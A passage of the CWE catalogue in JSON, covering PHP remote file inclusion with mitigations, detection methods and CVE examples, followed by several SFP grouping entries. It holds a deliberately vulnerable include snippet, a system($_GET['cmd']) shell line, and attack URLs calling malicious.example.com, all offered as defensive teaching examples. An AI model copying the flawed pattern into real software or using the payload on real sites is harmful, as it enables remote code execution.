"PHP", "@Prevalence": "Often"}, "Technology": [{"@Class": "Web Based", "@Prevalence": "Undetermined"}, {"@Name": "Web Server", "@Prevalence": "Undetermined"}]}, "Alternate_Terms": {"Alternate_Term": [{"Term": "Remote file include", "Role": "Common-Name"}, {"Term": "RFI", "Role": "Acronym", "Description": "The Remote File Inclusion (RFI) acronym is often used by vulnerability researchers."}, {"Term": "Local file inclusion", "Role": "Common-Name", "Description": "This term is frequently used in cases in which remote download is disabled, or when the first part of the filename is not under the attacker's control, which forces use of relative path traversal (CWE-23) attack techniques to access files that may contain previously-injected PHP code, such as web access logs."}, {"Term": "PHP Remote File Inclusion", "Role": "Common-Name"}]}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Implementation", "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic."}}, "Likelihood_Of_Exploit": "High", "Common_Consequences": {"Consequence": {"Scope": ["Integrity", "Confidentiality", "Availability"], "Impact": "Execute Unauthorized Code or Commands", "Note": "In certain versions and configurations of PHP with the allow_url_include setting enabled, an attacker could specify a URL to a remote location from which the product will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP. In some cases, the attacker might be able to insert PHP specifiers into a data file, then cause that data file to be included, causing it to be parsed by PHP."}}, "Detection_Methods": {"Detection_Method": [{"Method": "Manual Analysis", "Description": "Manual white-box analysis can be very effective for finding this issue, since there is typically a relatively small number of include or require statements in each program.", "Effectiveness": "High"}, {"Method": "Automated Static Analysis", "Description": {"xhtml:p": ["The external control or influence of filenames can often be detected using automated static analysis that models data flow within the product.", "Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. If the program uses a customized input validation library, then some tools may allow the analyst to create custom signatures to detect usage of those routines."], "#text_blocks": ["The external control or influence of filenames can often be detected using automated static analysis that models data flow within the product.", "Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. If the program uses a customized input validation library, then some tools may allow the analyst to create custom signatures to detect usage of those routines."]}}]}, "Potential_Mitigations": {"Mitigation": [{"@Mitigation_ID": "MIT-4", "Phase": "Architecture and Design", "Strategy": "Libraries or Frameworks", "Description": ["Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]."]}, {"@Mitigation_ID": "MIT-21.1", "Phase": "Architecture and Design", "Strategy": "Enforcement by Conversion", "Description": ["When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.", "For example, ID 1 could map to \"inbox.txt\" and ID 2 could map to \"profile.txt\". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability."]}, {"@Mitigation_ID": "MIT-15", "Phase": "Architecture and Design", "Description": ["For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server."]}, {"@Mitigation_ID": "MIT-22", "Phase": ["Architecture and Design", "Operation"], "Strategy": "Sandbox or Jail", "Description": ["Run the code in a \"jail\" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.", "OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.", "This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.", "Be careful to avoid CWE-243 and other weaknesses related to jails."], "Effectiveness": "Limited", "Effectiveness_Notes": "The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed."}, {"@Mitigation_ID": "MIT-17", "Phase": ["Architecture and Design", "Operation"], "Strategy": "Environment Hardening", "Description": ["Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations."]}, {"@Mitigation_ID": "MIT-5.1", "Phase": "Implementation", "Strategy": "Input Validation", "Description": ["Assume all input is malicious. Use an \"accept known good\" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.", "When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, \"boat\" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as \"red\" or \"blue.\"", "Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.", "When validating filenames, use stringent lists that limit the character set to be used. If feasible, only allow a single \".\" character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as \"/\" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.", "Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering \"/\" is insufficient protection if the filesystem also supports the use of \"\\\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if \"../\" sequences are removed from the \".../...//\" string in a sequential fashion, two instances of \"../\" would be removed from the original string, but the remaining characters would still form the \"../\" string."], "Effectiveness": "High"}, {"@Mitigation_ID": "MIT-34", "Phase": ["Architecture and Design", "Operation"], "Strategy": "Attack Surface Reduction", "Description": ["Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.", "This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface."]}, {"@Mitigation_ID": "MIT-6", "Phase": ["Architecture and Design", "Implementation"], "Strategy": "Attack Surface Reduction", "Description": ["Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.", "Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components."]}, {"@Mitigation_ID": "MIT-29", "Phase": "Operation", "Strategy": "Firewall", "Description": ["Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481]."], "Effectiveness": "Moderate", "Effectiveness_Notes": "An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization."}, {"Phase": ["Operation", "Implementation"], "Strategy": "Environment Hardening", "Description": ["Ensure that the allow_url_include setting is off. Refactor the code if necessary."], "Effectiveness": "Moderate", "Effectiveness_Notes": "The allow_url_include setting only prevents remote file inclusion; it does not protect against local file inclusion."}, {"Phase": ["Operation", "Implementation"], "Strategy": "Environment Hardening", "Description": ["Develop and run the code in the most recent versions of PHP available. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default."]}, {"@Mitigation_ID": "MIT-16", "Phase": ["Operation", "Implementation"], "Strategy": "Environment Hardening", "Description": ["When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.", "Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of register_globals combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009."]}, {"Phase": "Operation", "Strategy": "Environment Hardening", "Description": ["Set allow_url_fopen to false, which limits the ability to include files from remote locations."], "Effectiveness": "High", "Effectiveness_Notes": "Be aware that some versions of PHP will still accept ftp:// and other URI schemes. In addition, this setting does not protect the code from path traversal attacks (CWE-22), which are frequently successful against the same vulnerable code that allows remote file inclusion."}]}, "Demonstrative_Examples": {"Demonstrative_Example": {"@Demonstrative_Example_ID": "DX-229", "Intro_Text": "The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.", "Example_Code": [{"@Nature": "Bad", "@Language": "PHP", "xhtml:div": {"xhtml:br": null, "#text": "$dir = $_GET['module_name'];include($dir . \"/function.php\");"}, "#text_blocks": ["$dir = $_GET['module_name'];", "include($dir . \"/function.php\");"]}, {"@Nature": "Attack", "xhtml:div": "victim.php?module_name=http://malicious.example.com", "#text_blocks": ["victim.php?module_name=http://malicious.example.com"]}, {"@Nature": "Bad", "@Language": "PHP", "xhtml:div": "system($_GET['cmd']);", "#text_blocks": ["system($_GET['cmd']);"]}, {"@Nature": "Attack", "xhtml:div": "victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l", "#text_blocks": ["victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l"]}, {"@Nature": "Attack", "xhtml:div": "/bin/ls -l", "#text_blocks": ["/bin/ls -l"]}], "Body_Text": ["The problem with the above code is that the value of $dir is not restricted in any way, and a malicious user could manipulate the 'module_name' parameter to force inclusion of an unanticipated file. For example, an attacker could request the above PHP page (example.php) with a 'module_name' of \"http://malicious.example.com\" by using the following request string:", "Upon receiving this request, the code would set 'module_name' to the value \"http://malicious.example.com\" and would attempt to include http://malicious.example.com/function.php, along with any malicious code it contains.", "For the sake of this example, assume that the malicious version of function.php looks like the following:", "An attacker could now go a step further in our example and provide a request string as follows:", "The code will attempt to include the malicious function.php file from the remote site. In turn, this file executes the command specified in the 'cmd' parameter from the query string. The end result is an attempt by tvictim.php to execute the potentially malicious command, in this case:", "Note that the above PHP example can be mitigated by setting allow_url_fopen to false, although this will not fully protect the code. See potential mitigations."]}}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2004-0285", "Description": "Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-0285"}, {"Reference": "CVE-2004-0030", "Description": "Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-0030"}, {"Reference": "CVE-2004-0068", "Description": "Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-0068"}, {"Reference": "CVE-2005-2157", "Description": "Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-2157"}, {"Reference": "CVE-2005-2162", "Description": "Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-2162"}, {"Reference": "CVE-2005-2198", "Description": "Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-2198"}, {"Reference": "CVE-2004-0128", "Description": "Modification of assumed-immutable variable in configuration script leads to file inclusion.", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-0128"}, {"Reference": "CVE-2005-1864", "Description": "PHP file inclusion.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1864"}, {"Reference": "CVE-2005-1869", "Description": "PHP file inclusion.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1869"}, {"Reference": "CVE-2005-1870", "Description": "PHP file inclusion.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1870"}, {"Reference": "CVE-2005-2154", "Description": "PHP local file inclusion.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-2154"}, {"Reference": "CVE-2002-1704", "Description": "PHP remote file include.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1704"}, {"Reference": "CVE-2002-1707", "Description": "PHP remote file include.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1707"}, {"Reference": "CVE-2005-1964", "Description": "PHP remote file include.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1964"}, {"Reference": "CVE-2005-1681", "Description": "PHP remote file include.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1681"}, {"Reference": "CVE-2005-2086", "Description": "PHP remote file include.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-2086"}, {"Reference": "CVE-2004-0127", "Description": "Directory traversal vulnerability in PHP include statement.", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-0127"}, {"Reference": "CVE-2005-1971", "Description": "Directory traversal vulnerability in PHP include statement.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1971"}, {"Reference": "CVE-2005-3335", "Description": "PHP file inclusion issue, both remote and local; local include uses \"..\" and \"%00\" characters as a manipulation, but many remote file inclusion issues probably have this vector.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-3335"}, {"Reference": "CVE-2009-1936", "Description": "Chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-1936"}]}, "Affected_Resources": {"Affected_Resource": "File or Directory"}, "Taxonomy_Mappings": {"Taxonomy_Mapping": [{"@Taxonomy_Name": "PLOVER", "Entry_Name": "PHP File Include"}, {"@Taxonomy_Name": "OWASP Top Ten 2007", "Entry_ID": "A3", "Entry_Name": "Malicious File Execution", "Mapping_Fit": "CWE More Specific"}, {"@Taxonomy_Name": "WASC", "Entry_ID": "5", "Entry_Name": "Remote File Inclusion"}]}, "Related_Attack_Patterns": {"Related_Attack_Pattern": {"@CAPEC_ID": "193"}}, "References": {"Reference": [{"@External_Reference_ID": "REF-185"}, {"@External_Reference_ID": "REF-76"}, {"@External_Reference_ID": "REF-951"}, {"@External_Reference_ID": "REF-952"}, {"@External_Reference_ID": "REF-953"}, {"@External_Reference_ID": "REF-1481"}, {"@External_Reference_ID": "REF-1482"}]}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Notes": {"Note": {"@Type": "Relationship", "xhtml:p": ["This is frequently a functional consequence of other weaknesses. It is usually multi-factor with other factors (e.g. MAID), although not all inclusion bugs involve assumed-immutable data. Direct request weaknesses frequently play a role.", "Can overlap directory traversal in local inclusion problems."], "#text_blocks": ["This is frequently a functional consequence of other weaknesses. It is usually multi-factor with other factors (e.g. MAID), although not all inclusion bugs involve assumed-immutable data. Direct request weaknesses frequently play a role.", "Can overlap directory traversal in local inclusion problems."]}}, "Content_History": {"Submission": {"Submission_Name": "PLOVER", "Submission_Date": "2006-07-19", "Submission_Version": "Draft 3", "Submission_ReleaseDate": "2006-07-19"}, "Modification": [{"Modification_Name": "Eric Dalci", "Modification_Organization": "Cigital", "Modification_Date": "2008-07-01", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Time_of_Introduction"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2008-09-08", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Relationships, Relationship_Notes, Research_Gaps, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-01-12", "Modification_Version": "1.2", "Modification_ReleaseDate": "2009-01-12", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-03-10", "Modification_Version": "1.3", "Modification_ReleaseDate": "2009-03-10", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-05-27", "Modification_Version": "1.4", "Modification_ReleaseDate": "2009-05-27", "Modification_Comment": "updated Description, Name"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-12-28", "Modification_Version": "1.7", "Modification_ReleaseDate": "2009-12-28", "Modification_Comment": "updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, Time_of_Introduction"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-02-16", "Modification_Version": "1.8", "Modification_ReleaseDate": "2010-02-16", "Modification_Importance": "Critical", "Modification_Comment": "converted from Compound_Element to Weakness"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-02-16", "Modification_Version": "1.8", "Modification_ReleaseDate": "2010-02-16", "Modification_Comment": "updated Alternate_Terms, Common_Consequences, Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Type"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-06-21", "Modification_Version": "1.9", "Modification_ReleaseDate": "2010-06-21", "Modification_Comment": "updated Potential_Mitigations, References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-09-27", "Modification_Version": "1.10", "Modification_ReleaseDate": "2010-09-27", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-12-13", "Modification_Version": "1.11", "Modification_ReleaseDate": "2010-12-13", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2011-06-27", "Modification_Version": "2.0", "Modification_ReleaseDate": "2011-06-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-10-30", "Modification_Version": "2.3", "Modification_ReleaseDate": "2012-10-30", "Modification_Comment": "updated Potential_Mitigations, References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2013-02-21", "Modification_Version": "2.4", "Modification_ReleaseDate": "2013-02-21", "Modification_Comment": "updated Alternate_Terms, Name, Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-01-19", "Modification_Version": "2.10", "Modification_ReleaseDate": "2017-01-19", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Affected_Resources, Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Type"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Potential_Mitigations, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-06-25", "Modification_Version": "4.1", "Modification_ReleaseDate": "2020-06-25", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-03-15", "Modification_Version": "4.4", "Modification_ReleaseDate": "2021-03-15", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-04-28", "Modification_Version": "4.7", "Modification_ReleaseDate": "2022-04-28", "Modification_Comment": "updated Research_Gaps"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-10-13", "Modification_Version": "4.9", "Modification_ReleaseDate": "2022-10-13", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description, Detection_Factors"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated References, Relationships, Time_of_Introduction"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-04-03", "Modification_Version": "4.17", "Modification_ReleaseDate": "2025-04-03", "Modification_Comment": "updated Demonstrative_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated Potential_Mitigations, References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Applicable_Platforms, Demonstrative_Examples, Relationships, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Alternate_Terms, Common_Consequences, Description, Dimensions, Name, Potential_Mitigations"}], "Previous_Entry_Name": [{"@Date": "2008-04-11", "#text": "PHP File Inclusion"}, {"@Date": "2009-05-27", "#text": "Insufficient Control of Filename for Include/Require Statement in PHP Program (aka 'PHP File Inclusion')"}, {"@Date": "2013-02-21", "#text": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')"}, {"@Date": "2026-10-28", "#text": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')"}]}, "entry_type": "Weakness", "ranking": 2439.0}, {"@ID": "979", "@Name": "SFP Secondary Cluster: Failed Chroot Jail", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Failed Chroot Jail cluster (SFP17).", "Relationships": {"Has_Member": {"@CWE_ID": "243", "@View_ID": "888"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "978", "@Name": "SFP Secondary Cluster: Implementation", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Implementation cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "358", "@View_ID": "888"}, {"@CWE_ID": "398", "@View_ID": "888"}, {"@CWE_ID": "623", "@View_ID": "888"}, {"@CWE_ID": "710", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "977", "@Name": "SFP Secondary Cluster: Design", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Design cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "115", "@View_ID": "888"}, {"@CWE_ID": "187", "@View_ID": "888"}, {"@CWE_ID": "188", "@View_ID": "888"}, {"@CWE_ID": "193", "@View_ID": "888"}, {"@CWE_ID": "349", "@View_ID": "888"}, {"@CWE_ID": "405", "@View_ID": "888"}, {"@CWE_ID": "406", "@View_ID": "888"}, {"@CWE_ID": "407", "@View_ID": "888"}, {"@CWE_ID": "408", "@View_ID": "888"}, {"@CWE_ID": "409", "@View_ID": "888"}, {"@CWE_ID": "410", "@View_ID": "888"}, {"@CWE_ID": "430", "@View_ID": "888"}, {"@CWE_ID": "462", "@View_ID": "888"}, {"@CWE_ID": "463", "@View_ID": "888"}, {"@CWE_ID": "464", "@View_ID": "888"}, {"@CWE_ID": "483", "@View_ID": "888"}, {"@CWE_ID": "581", "@View_ID": "888"}, {"@CWE_ID": "595", "@View_ID": "888"}, {"@CWE_ID": "618", "@View_ID": "888"}, {"@CWE_ID": "648", "@View_ID": "888"}, {"@CWE_ID": "670", "@View_ID": "888"}, {"@CWE_ID": "682", "@View_ID": "888"}, {"@CWE_ID": "691", "@View_ID": "888"}, {"@CWE_ID": "696", "@View_ID": "888"}, {"@CWE_ID": "697", "@View_ID": "888"}, {"@CWE_ID": "698", "@View_ID": "888"}, {"@CWE_ID": "705", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2018-03-27", "Modification_Version": "3.1", "Modification_ReleaseDate": "2018-03-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-03-15", "Modification_Version": "4.4", "Modification_ReleaseDate": "2021-03-15", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "976", "@Name": "SFP Secondary Cluster: Compiler", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Compiler cluster.", "Relationships": {"Has_Member": {"@CWE_ID": "733", "@View_ID": "888"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of 